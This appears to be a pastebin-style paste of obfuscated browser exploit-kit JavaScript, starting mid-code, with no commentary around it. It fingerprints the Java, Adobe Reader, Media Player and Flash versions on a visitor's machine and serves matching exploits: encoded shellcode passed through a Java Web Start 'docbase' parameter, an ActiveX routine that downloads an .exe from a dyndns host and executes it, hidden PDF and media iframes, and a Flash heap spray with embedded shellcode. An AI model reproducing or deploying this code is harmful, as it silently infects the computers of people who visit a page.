r}if(jver[1]==6&&jver[3]>=19&&jver[3]<=21){var s='%46%33%69%4D%68%6E%32%6C%72%65%66%6B%65%59%30%35%36%30%5A%6C%4B%41%35%43%6F%72%71%73%38%76%68%66%58%74%71%63%61%70%4C%67%46%69%37%55%52%37%45%35%74%6A%63%6C%32%69%43%33%32%69%4A%68%33%73%6A%6A%74%30%72%6E%56%51%52%65%45%78%78%32%34%4D%6F%64%52%73%5A%4B%65%7A%6C%72%7A%67%41%57%39%41%57%31%61%69%70%79%39%69%69%38%59%5A%37%47%31%64%38%38%39%34%69%38%37%68%35%32%45%6B%35%4B%36%56%54%76%58%37%36%6A%39%59%65%72%58%47%66%6F%69%79%39%4E%55%35%64%71%77%39%45%6C%58%59%6C%57%4D%69%45%6A%71%66%70%43%70%57%52%31%32%57%65%34%61%42%64%45%4B%64%58%4F%5A%4A%55%6D%35%4E%44%42%39%77%70%65%31%44%72%78%37%7A%45%37%7A%33%64%36%6A%35%37%33%6C%33%37%72%6A%50%55%6F%63%39%4B%67%62%61%64%70%63%74%75%49%61%63%57%67%70%39%77%78%37%64%32%33%33%39%34%31%35%6D%6C%6A%47%46%68%55%44%6D%51%62%7A%53%63%35%76%61%4F%31%54%61%55%78%73%35%62%54%7A%51%52%4B%48%56%32%6F%6C%79%35%64%4E%6A%6E%46%68%34%47%30%35%65%30%31%69%32%4C%48%32%79%53%45%49%42%65%43%38%68%72%77%66%38%63%37%74%31%31%4E%67%39%6E%69%77%4B%6C%74%63%37%36%79%39%53%70%61%75%4D%68%38%36%77%64%6E%46%4F%54%46%7A%51%53%37%39%37%6D%32%77%71%6C%6A%36%67%79%5A%6C%72%6D%50%4B%4B%64%4C%70%69%51%4F%6F%6E%41%50%4A%54%6B%30%6E%31%52%72%76%4D%41%75%0A%6C%34%7C%38%7B%67%6D%36%44%3C%51%4A%5D%7B%4E%32%66%58%76%36%40%20%60%4D%37%36%7C%52%60%17%1C%3B%37%36%7C%40%71%73%31%0E%1F%34%7C%16%72%36%7C%10%01%04%01%01%01%01%01%01%01%01%01%27%34%34%7C%30%60%5B%3B%0A%6C%34%7C%66%34%3A%64%6E%38%4D%64%57%4B%48%34%3F%5D%57%38%66%33%7A%7B%4D%37%36%7C%7A%77%68%77%3B%37%36%7C%5C%7A%02%02%21%62%37%7C%64%66%02%06%0D%69%35%7C%0D%69%35%7C%0D%69%35%7C%0D%69%35%7C%3B%37%36%7C%7F%66%7F%51%21%62%37%7C%7F%66%7F%77%0D%69%35%7C%0D%69%35%7C%0D%69%35%7C%0D%69%35%7C%3B%37%36%7C%4C%02%36%2E%21%62%37%7C%79%02%30%7F%0D%69%35%7C%0D%69%35%7C%0D%69%35%7C%0D%69%35%7C%3B%37%36%7C%76%11%57%11%21%62%37%7C%70%20%72%6F%0D%69%35%7C%0D%69%35%7C%0D%69%35%7C%0D%69%35%7C%3B%37%36%7C%33%45%08%23%21%62%37%7C%5A%34%10%66%0D%69%35%7C%0D%69%35%7C%0D%69%35%7C%0D%69%35%7C%3B%37%36%7C%75%6A%41%33%21%62%37%7C%3A%61%62%70%0E%6B%34%7C'+skfunc3(skfunc1(unescape('%66%83%E4%FC%FC%85%E4%75%34%E9%5F%33%C0%64%8B%40%30%8B%40%0C%8B%70%1C%56%8B%76%08%33%DB%66%8B%5E%3C%03%74%33%2C%81%EE%15%10%FF%FF%B8%8B%40%30%C3%46%39%06%75%FB%87%34%24%85%E4%75%51%E9%EB%4C%51%56%8B%75%3C%8B%74%35%78%03%F5%56%8B%76%20%03%F5%33%C9%49%41%FC%AD%03%C5%33%DB%0F%BE%10%38%F2%74%08%C1%CB%0D%03%DA%40%EB%F1%3B%1F%75%E6%5E%8B%5E%24%03%DD%66%8B%0C%4B%8D%46%EC%FF%54%24%0C%8B%D8%03%DD%8B%04%8B%03%C5%AB%5E%59%C3%EB%53%AD%8B%68%20%80%7D%0C%33%74%03%96%EB%F3%8B%68%08%8B%F7%6A%05%59%E8%98%FF%FF%FF%E2%F9%E8%00%00%00%00%58%50%6A%40%68%FF%00%00%00%50%83%C0%19%50%55%8B%EC%8B%5E%10%83%C3%05%FF%E3%68%6F%6E%00%00%68%75%72%6C%6D%54%FF%16%83%C4%08%8B%E8%E8%61%FF%FF%FF%EB%02%EB%72%81%EC%04%01%00%00%8D%5C%24%0C%C7%04%24%72%65%67%73%C7%44%24%04%76%72%33%32%C7%44%24%08%20%2D%73%20%53%68%F8%00%00%00%FF%56%0C%8B%E8%33%C9%51%C7%44%1D%00%77%70%62%74%C7%44%1D%05%2E%64%6C%6C%C6%44%1D%09%00%59%8A%C1%04%30%88%44%1D%04%41%51%6A%00%6A%00%53%57%6A%00%FF%56%14%85%C0%75%16%6A%00%53%FF%56%04%6A%00%83%EB%0C%53%FF%56%04%83%C3%0C%EB%02%EB%13%47%80%3F%00%75%FA%47%80%3F%00%75%C4%6A%00%6A%FE%FF%56%08%E8%9C%FE%FF%FF%8E%4E%0E%EC%98%FE%8A%0E%89%6F%01%BD%33%CA%8A%5B%1B%C6%46%79%36%1A%2F%70%68%74%74%70%3A%2F%2F%31%73%73%73%6F%2E%64%79%6E%64%6E%73%2E%62%69%7A%2F%77%2E%70%68%70%3F%66%3D%31%37%26%65%3D%33%00%00')));var a=document.createElement('applet');a.setAttribute('lau'+'nchjnlp','1');a.setAttribute('docbase',unescape(s));document.body.appendChild(a)}spl4()}function spl4(){try{throw 1}catch(w){md2=/(\u0061)sd\1/ig;if(md2.test('asda') && !md2.test('asda') && md2.test('asda')){md="a";};var ra4=".//..//.exe",ra3=document.createElement("object");ra3.setAttribute("id",ra3);ra3.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");try{var ra0=ra3.CreateObject(md+"dod".concat("b.str","eam"),""),ra1=ra3.CreateObject("Shell.Application",""),ra2=ra3.CreateObject("msxml2.XMLHTTP","");try{ra2.open("GET","http://1ssso.dyndns.biz/w.php?f=17&e=4",false);ra2.send();ra0.type=1;ra0.open();ra0.Write(ra2.responseBody);ra0.SaveToFile(ra4,2);ra0.Close();}catch(e){}try{ra1.shellexecute(ra4);}catch(e){}}catch(e){}}spl5()}function show_pdf(src){var pifr=document.createElement('IFRAME');pifr.setAttribute('width',1);pifr.setAttribute('height',1);pifr.setAttribute('src',src);document.body.appendChild(pifr)}function spl5(){if(pdfver[0]>0&&pdfver[0]<8){show_pdf('./content/1fdp.php?f=17')}else if((pdfver[0]==8)||(pdfver[0]==9&&pdfver[1]<=3)){show_pdf('./content/2fdp.php?f=17')}spl6()}function spl6(){try{for(var i=0,m;i<navigator.plugins.length;i++){var name=navigator.plugins[i].name;if(name.indexOf('Media Player')!=-1){m=document.createElement('IFRAME');m.setAttribute('src','./content/pch2.php?c=17');m.setAttribute('width',0);m.setAttribute('height',0);document.body.appendChild(m)}}}catch(e){}setTimeout(spl7,1000)}function getCN(){return 'content/score.swf'}function getBlockSize(){return 1024}function getAllocSize(){return 1024 * 1024}function getAllocCount(){return 300}function getFillBytes(){return '%u0c0c%u0c0c'}function getShellCode(){return "%u4141%u4141%u8366%ufce4%uebfc%u5810%uc931%u8166%u57e9%u80fe%u2830%ue240%uebfa%ue805%uffeb%uffff%uccad%u1c5d%u77c1%ue81b%ua34c%u1868%u68a3%ua324%u3458%ua37e%u205e%uf31b%ua34e%u1476%u5c2b%u041b%uc6a9%u383d%ud7d7%ua390%u1868%u6eeb%u2e11%ud35d%u1caf%uad0c%u5dcc%uc179%u64c3%u7e79%u5da3%ua314%u1d5c%u2b50%u7edd%u5ea3%u2b08%u1bdd%u61e1%ud469%u2b85%u1bed%u27f3%u3896%uda10%u205c%ue3e9%u2b25%u68f2%ud9c3%u3713%uce5d%ua376%u0c76%uf52b%ua34e%u6324%u6ea5%ud7c4%u0c7c%ua324%u2bf0%ua3f5%ua32c%ued2b%u7683%ueb71%u7bc3%ua385%u0840%u55a8%u1b24%u2b5c%uc3be%ua3db%u2040%udfa3%u2d42%uc071%ud7b0%ud7d7%ud1ca%u28c0%u2828%u7028%u4278%u4068%u28d7%u2828%uab78%u31e8%u7d78%uc4a3%u76a3%uab38%u2deb%ucbd7%u4740%u2846%u4028%u5a5d%u4544%ud77c%uab3e%u20ec%uc0a3%u49c0%ud7d7%uc3d7%uc32a%ua95a%u2cc4%u2829%ua528%u0c74%uef24%u0c2c%u4d5a%u5b4f%u6cef%u2c0c%u5a5e%u1a1b%u6cef%u200c%u0508%u085b%u407b%u28d0%u2828%u7ed7%ua324%u1bc0%u79e1%u6cef%u2835%u585f%u5c4a%u6cef%u2d35%u4c06%u4444%u6cee%u2135%u7128%ue9a2%u182c%u6ca0%u2c35%u7969%u2842%u2842%u7f7b%u2842%u7ed7%uad3c%u5de8%u423e%u7b28%u7ed7%u422c%uab28%u24c3%ud77b%u2c7e%uebab%uc324%uc32a%u6f3b%u17a8%u5d28%u6fd2%u17a8%u5d28%u42ec%u4228%ud7d6%u207e%ub4c0%ud7d6%ua6d7%u2666%ub0c4%ua2d6%ua126%u2947%u1b95%ua2e2%u3373%u6eee%u1e51%u0732%u4058%u5c5c%u1258%u0707%u5b19%u5b5b%u0647%u514c%u4c46%u5b46%u4a06%u5241%u5f07%u5806%u5840%u4e17%u1915%u0e1f%u154d%u2810%u0028"}function spl7(){var ver1=flashver[0];var ver2=flashver[1];var ver3=flashver[2];if (((ver1==10&&ver2==0&&ver3>40)||((ver1==10&&ver2>0)&&(ver1==10&&ver2<2)))||((ver1==10&&ver2==2&&ver3<159)||(ver1==10&&ver2<2))){var fname="content/field";var Flash_obj="<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'>";Flash_obj+="<param name='movie' value='"+fname+".swf' />";Flash_obj+="<param name='allowScriptAccess' value='always' />";Flash_obj+="<param name='Play' value='0' />";Flash_obj+="<embed src='"+fname+".swf' id='swf_id' name='swf_id'";Flash_obj+="allowScriptAccess='always'";Flash_obj+="type='application/x-shockwave-flash'";Flash_obj+="width='10' height='10'>";Flash_obj+="</embed>";Flash_obj+="</object>";var oSpan=document.createElement("span");document.body.appendChild(oSpan);oSpan.innerHTML=Flash_obj;}setTimeout(end_redirect,8000);}spl0();
  2.  
  3.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement